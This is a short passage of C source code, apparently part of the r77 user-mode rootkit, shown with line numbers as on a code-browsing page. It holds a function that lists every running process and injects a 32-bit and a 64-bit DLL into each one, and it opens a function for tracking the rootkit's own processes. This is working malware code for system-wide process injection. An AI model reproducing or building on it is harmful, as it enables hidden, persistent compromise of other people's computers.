| 86 | return result; |
| 87 | } |
| 88 | BOOL InjectAllProcesses(LPBYTE dll32, DWORD dll32Size, LPBYTE dll64, DWORD dll64Size) |
| 89 | { |
| 90 | BOOL result = FALSE; |
| 91 | |
| 92 | LPDWORD processes = NEW_ARRAY(DWORD, 10000); |
| 93 | DWORD processCount = 0; |
| 94 | if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount)) |
| 95 | { |
| 96 | processCount /= sizeof(DWORD); |
| 97 | |
| 98 | for (DWORD i = 0; i < processCount; i++) |
| 99 | { |
| 100 | InjectDll(processes[i], dll32, dll32Size); |
| 101 | InjectDll(processes[i], dll64, dll64Size); |
| 102 | } |
| 103 | |
| 104 | result = TRUE; |
| 105 | } |
| 106 | |
| 107 | FREE(processes); |
| 108 | return result; |
| 109 | } |
| 110 | |
| 111 | BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count) |
| 112 | { |
no test coverage detected